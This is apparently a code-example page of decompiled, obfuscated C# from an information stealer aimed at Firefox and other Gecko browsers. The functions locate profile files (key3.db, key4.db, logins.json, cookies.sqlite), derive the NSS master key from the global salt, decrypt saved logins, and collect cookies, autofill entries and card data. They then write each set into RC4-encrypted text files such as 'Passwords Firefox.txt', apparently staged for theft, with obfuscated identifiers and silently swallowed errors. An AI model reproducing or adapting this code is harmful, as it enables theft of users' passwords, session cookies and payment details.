Пример #1
0
 // Token: 0x060001D9 RID: 473 RVA: 0x000101CC File Offset: 0x0000E3CC
 private static byte[] GetPrivate3Key(string file)
 {
     byte[] array = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(array);
         }
         new DataTable();
         Class_70 berkeleyDB = new Class_70(file);
         Class_72 class_     = new Class_72(Class_78.ParseDb(berkeleyDB, (string x) => x.Equals("password-check")));
         string   hexString  = Class_78.ParseDb(berkeleyDB, (string x) => x.Equals("global-salt"));
         Class_71 class_2    = new Class_71(Class_69.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Class_69.ConvertHexStringToByteArray(class_.prop_0));
         class_2.smethod_230();
         Class_50.Decrypt(class_2.prop_3, class_2.prop_4, Class_69.ConvertHexStringToByteArray(class_.prop_2), PaddingMode.None);
         Class_62 class_3 = Class_61.Create(Class_69.ConvertHexStringToByteArray(Class_78.ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
         Class_71 class_4 = new Class_71(Class_69.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), class_3.prop_3[0].prop_3[0].prop_3[1].prop_3[0].prop_1);
         class_4.smethod_230();
         Class_62 class_5 = Class_61.Create(Class_61.Create(Encoding.Default.GetBytes(Class_50.Decrypt(class_4.prop_3, class_4.prop_4, class_3.prop_3[0].prop_3[1].prop_1, PaddingMode.None))).prop_3[0].prop_3[2].prop_1);
         if (class_5.prop_3[0].prop_3[3].prop_1.Length > 24)
         {
             Array.Copy(class_5.prop_3[0].prop_3[3].prop_1, class_5.prop_3[0].prop_3[3].prop_1.Length - 24, array, 0, 24);
         }
         else
         {
             array = class_5.prop_3[0].prop_3[3].prop_1;
         }
     }
     catch
     {
     }
     return(array);
 }
Пример #2
0
        // Token: 0x060001D4 RID: 468 RVA: 0x0000F890 File Offset: 0x0000DA90
        public static List <Class_65> ParseBrowsers()
        {
            List <Class_65> list = new List <Class_65>();

            try
            {
                List <string> list2 = new List <string>();
                list2.AddRange(Class_69.FindPaths(Class_47.\u0349\u0308t\u0324\u0329\u0306\u033Ae\u0340\u0341\u036B\u0351\u0E47c\u0363\u0363xrkhflctjjgrafhq\u036A\u0E47\u0302\u0368\u0020\u032C\u035E\u0349\u0359\u0020\u0020\u0489\u0333\u030C\u0347\u032Cdfodarkersxinukm, 4, 1, new string[]
                {
                    "key3.db",
                    "key4.db",
                    "cookies.sqlite",
                    "logins.json"
                }));
                list2.AddRange(Class_69.FindPaths(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold, 4, 1, new string[]
                {
                    "key3.db",
                    "key4.db",
                    "cookies.sqlite",
                    "logins.json"
                }));
                foreach (string text in list2)
                {
                    string fullName = new FileInfo(text).Directory.FullName;
                    string text2    = text.Contains(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold) ? Class_78.GetRoamingName(fullName) : Class_78.GetLocalName(fullName);
                    if (!string.IsNullOrEmpty(text2))
                    {
                        Class_65 class_ = new Class_65
                        {
                            prop_0 = text2,
                            prop_1 = new DirectoryInfo(fullName).Name,
                            prop_5 = new List <Class_66>(Class_78.ParseCookies(fullName)).IsNull <List <Class_66> >(),
                            prop_2 = new List <Class_68>(Class_78.GetCredentials(fullName).IsNull <List <Class_68> >()).IsNull <List <Class_68> >(),
                            prop_3 = new List <Class_64>(),
                            prop_4 = new List <Class_67>()
                        };
                        if (class_.prop_5.Count((Class_66 x) => x.IsNotNull <Class_66>()) <= 0)
                        {
                            if (class_.prop_2.Count((Class_68 x) => x.IsNotNull <Class_68>()) <= 0)
                            {
                                continue;
                            }
                        }
                        list.Add(class_);
                    }
                }
            }
            catch
            {
            }
            return(list);
        }
Пример #3
0
        // Token: 0x060001D5 RID: 469 RVA: 0x0000FAB0 File Offset: 0x0000DCB0
        private static List <Class_68> GetCredentials(string profile)
        {
            List <Class_68> list = new List <Class_68>();

            try
            {
                if (File.Exists(Path.Combine(profile, "key3.db")))
                {
                    list.AddRange(Class_78.ParseLogins(profile, Class_78.GetPrivate3Key(Class_69.CreateTempCopy(Path.Combine(profile, "key3.db")))));
                }
                if (File.Exists(Path.Combine(profile, "key4.db")))
                {
                    list.AddRange(Class_78.ParseLogins(profile, Class_78.GetPrivate4Key(Class_69.CreateTempCopy(Path.Combine(profile, "key4.db")))));
                }
            }
            catch
            {
            }
            return(list);
        }
Пример #4
0
        // Token: 0x06000125 RID: 293 RVA: 0x0000BC34 File Offset: 0x00009E34
        public static void GetGecko()
        {
            List <Class_65> list = null;

            try
            {
                list = Class_78.ParseBrowsers();
            }
            catch (Exception value)
            {
                Console.WriteLine(value);
            }
            string text  = "";
            string text2 = "";
            string text3 = "";
            string text4 = "";

            if (list != null)
            {
                foreach (Class_65 class_ in list)
                {
                    foreach (Class_68 class_2 in class_.prop_2)
                    {
                        text = text + "URI: " + class_2.prop_0 + Environment.NewLine;
                        text = text + "Username: "******"Password: "******"Browser: " + class_.prop_0 + Environment.NewLine;
                        text = text + "Profile: " + class_.prop_1 + Environment.NewLine;
                        text = text + "===============================" + Environment.NewLine;
                    }
                    foreach (Class_64 class_3 in class_.prop_3)
                    {
                        text2 = text2 + "Name: " + class_3.prop_0 + Environment.NewLine;
                        text2 = text2 + "Value: " + class_3.prop_1 + Environment.NewLine;
                        text2 = text2 + "===============================" + Environment.NewLine;
                    }
                    foreach (Class_67 class_4 in class_.prop_4)
                    {
                        text3 = text3 + class_4.prop_3 + Environment.NewLine;
                        text3 = text3 + class_4.prop_0 + Environment.NewLine;
                        text3 = string.Concat(new string[]
                        {
                            text3,
                            class_4.prop_1.ToString(),
                            "/",
                            class_4.prop_2.ToString(),
                            Environment.NewLine
                        });
                        text3 = text3 + "===============================" + Environment.NewLine;
                    }
                    foreach (Class_66 class_5 in class_.prop_5)
                    {
                        text4 += string.Format("{0}\tFALSE\t{1}\t{2}\t{3}\t{4}\t{5}\r\n", new object[]
                        {
                            class_5.prop_0,
                            class_5.prop_2,
                            class_5.prop_3,
                            class_5.prop_4,
                            class_5.prop_5,
                            class_5.prop_6
                        });
                    }
                }
            }
            if (list != null)
            {
                list.Clear();
            }
            if (text != "")
            {
                Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli + "\\Passwords Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text)));
            }
            if (text2 != "")
            {
                Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0E47\u0020\u034D\u0020\u0E47\u035B\u0349\u0E47\u0358\u035C\u036B\u0020\u036B\u0364\u031D\u033Emirhvahtmnvwxjwq\u0E47\u0355\u0020\u0335\u0E47\u034E\u0323\u0349\u0340\u0E47\u0307\u030B\u0020\u030B\u0360\u035Bgkliuuhtpiuahszp + "\\Autofills Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text2)));
            }
            if (text3 != "")
            {
                Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0339\u0020\u0332\u0324\u0349\u0020\u0359\u0020\u0368t\u034E\u0342\u0330\u0331\u0020\u0329apcrmahbbefdsscl\u0349\u0353\u0307\u034F\u0347\u035B\u032C\u0352\u032B\u0331\u0020\u0325\u0330\u0326\u0020\u031Dagehontzszdfjqjv + "\\Cards Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text3)));
            }
            if (text4 != "")
            {
                Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0020\u033F\u0315\u0350\u0352\u0367\u0E47\u0020\u0358\u032F\u0307\u0347\u0324\u033A\u0348\u036Avgwkwyiffpxhvsqg\u0340\u0020\u0358\u0333\u0020\u0351\u035B\u031C\u0020\u0E47\u0E47\u0363\u0020\u0366\u0331\u035Fqalqdbmxtcrpprqk + "\\Cookies Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text4)));
            }
            text  = null;
            text2 = null;
            text3 = null;
            text4 = null;
        }